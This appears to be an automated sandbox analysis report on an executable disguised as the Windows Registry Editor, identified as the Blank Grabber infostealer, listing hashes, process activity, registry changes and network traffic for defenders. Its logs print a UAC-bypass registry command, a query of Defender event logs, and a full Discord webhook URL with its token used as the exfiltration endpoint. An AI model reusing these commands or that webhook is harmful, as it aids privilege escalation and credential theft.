| File name: | B-Executor.exe |
| Full analysis: | https://app.any.run/tasks/6076037a-f884-4583-a6ba-ed7d6231aa14 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | November 18, 2024, 19:20:10 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | 33AED1D72D4146276CDF95296A395D8F |
| SHA1: | A433193DABB2425E28A0A112908FA0D313CFB044 |
| SHA256: | CCC317CA87B4B6A34DB801AA03296EA882B976093F06D3C9CE4E22466B38B0CC |
| SSDEEP: | 98304:IJ3CpombrO47fz9hluqG9yeFyOnace7EewAxtHfktEzafhOsE+XZ0+33T/1UfJF2:+re4uNE6gLRya |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:11:15 18:03:35+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 172032 |
| InitializedDataSize: | 94208 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.26100.1882 |
| ProductVersionNumber: | 10.0.26100.1882 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Registry Editor |
| FileVersion: | 10.0.26100.1882 (WinBuild.160101.0800) |
| InternalName: | REGEDIT |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | REGEDIT.EXE |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.26100.1882 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1372 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2172 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2888 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3772 | C:\WINDOWS\system32\cmd.exe /c "wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text" | C:\Windows\System32\cmd.exe | — | B-Executor.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4312 | wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text | C:\Windows\System32\wevtutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Eventing Command Line Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4408 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5832 | "C:\Users\admin\Desktop\B-Executor.exe" | C:\Users\admin\Desktop\B-Executor.exe | B-Executor.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Editor Exit code: 0 Version: 10.0.26100.1882 (WinBuild.160101.0800) Modules
ims-api(PID) Process(5832) B-Executor.exe Discord-Webhook-Tokens (1)1306719010334969886/44cmdkPguShyMjyoH0Vnbwa-9kSOud3BPtWdgLberLdSuUvZ7wqC0eoWnOhXalAy2VFG Discord-Info-Links 1306719010334969886/44cmdkPguShyMjyoH0Vnbwa-9kSOud3BPtWdgLberLdSuUvZ7wqC0eoWnOhXalAy2VFG Get Webhook Infohttps://discord.com/api/webhooks/1306719010334969886/44cmdkPguShyMjyoH0Vnbwa-9kSOud3BPtWdgLberLdSuUvZ7wqC0eoWnOhXalAy2VFG | |||||||||||||||
| 5976 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\B-Executor.exe" /f" | C:\Windows\System32\cmd.exe | — | B-Executor.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6112 | C:\WINDOWS\system32\cmd.exe /c "reg delete hkcu\Software\Classes\ms-settings /f" | C:\Windows\System32\cmd.exe | — | B-Executor.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6564 | "C:\Users\admin\Desktop\B-Executor.exe" | C:\Users\admin\Desktop\B-Executor.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Editor Exit code: 0 Version: 10.0.26100.1882 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (7036) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (7036) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (7036) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (7036) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (5832) B-Executor.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
| (PID) Process: | (8088) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31144430 | |||
| (PID) Process: | (8088) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\_bz2.pyd | executable | |
MD5:83B5D1943AC896A785DA5343614B16BC | SHA256:BF79DDBFA1CC4DF7987224EE604C71D9E8E7775B9109BF4FF666AF189D89398A | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\_lzma.pyd | executable | |
MD5:71F0B9F90AA4BB5E605DF0EA58673578 | SHA256:D0E10445281CF3195C2A1AA4E0E937D69CAE07C492B74C9C796498DB33E9F535 | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\VCRUNTIME140.dll | executable | |
MD5:870FEA4E961E2FBD00110D3783E529BE | SHA256:76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644 | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\_queue.pyd | executable | |
MD5:F1E7C157B687C7E041DEADD112D61316 | SHA256:D92EADB90AED96ACB5FAC03BC79553F4549035EA2E9D03713D420C236CD37339 | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\_ctypes.pyd | executable | |
MD5:7ECC651B0BCF9B93747A710D67F6C457 | SHA256:B43963B0883BA2E99F2B7DD2110D33063071656C35E6575FCA203595C1C32B1A | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\_sqlite3.pyd | executable | |
MD5:72A0715CB59C5A84A9D232C95F45BF57 | SHA256:D125E113E69A49E46C5534040080BDB35B403EB4FF4E74ABF963BCE84A6C26AD | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\api-ms-win-core-errorhandling-l1-1-0.dll | executable | |
MD5:EB0978A9213E7F6FDD63B2967F02D999 | SHA256:AB25A1FE836FC68BCB199F1FE565C27D26AF0C390A38DA158E0D8815EFE1103E | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\api-ms-win-core-debug-l1-1-0.dll | executable | |
MD5:33BBECE432F8DA57F17BF2E396EBAA58 | SHA256:7CF0944901F7F7E0D0B9AD62753FC2FE380461B1CCE8CDC7E9C9867C980E3B0E | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\api-ms-win-core-heap-l1-1-0.dll | executable | |
MD5:ACCC640D1B06FB8552FE02F823126FF5 | SHA256:332BA469AE84AA72EC8CCE2B33781DB1AB81A42ECE5863F7A3CB5A990059594F | |||
| 6564 | B-Executor.exe | C:\Users\admin\AppData\Local\Temp\_MEI65642\api-ms-win-core-file-l1-2-0.dll | executable | |
MD5:1C58526D681EFE507DEB8F1935C75487 | SHA256:EF13DCE8F71173315DFC64AB839B033AB19A968EE15230E9D4D2C9D558EFEEE2 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6944 | svchost.exe | GET | 200 | 23.48.23.194:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.194:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4836 | RUXIMICS.exe | GET | 200 | 23.48.23.194:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6944 | svchost.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4836 | RUXIMICS.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 204 | 216.58.206.67:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
5832 | B-Executor.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | shared |
— | — | POST | 200 | 162.159.138.232:443 | https://discord.com/api/webhooks/1306719010334969886/44cmdkPguShyMjyoH0Vnbwa-9kSOud3BPtWdgLberLdSuUvZ7wqC0eoWnOhXalAy2VFG | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4836 | RUXIMICS.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 92.123.104.18:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
6944 | svchost.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6944 | svchost.exe | 23.48.23.194:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4836 | RUXIMICS.exe | 23.48.23.194:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5488 | MoUsoCoreWorker.exe | 23.48.23.194:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
6944 | svchost.exe | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
gstatic.com |
| whitelisted |
ip-api.com |
| shared |
discord.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2172 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2172 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
2172 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
5832 | B-Executor.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
5832 | B-Executor.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
5832 | B-Executor.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |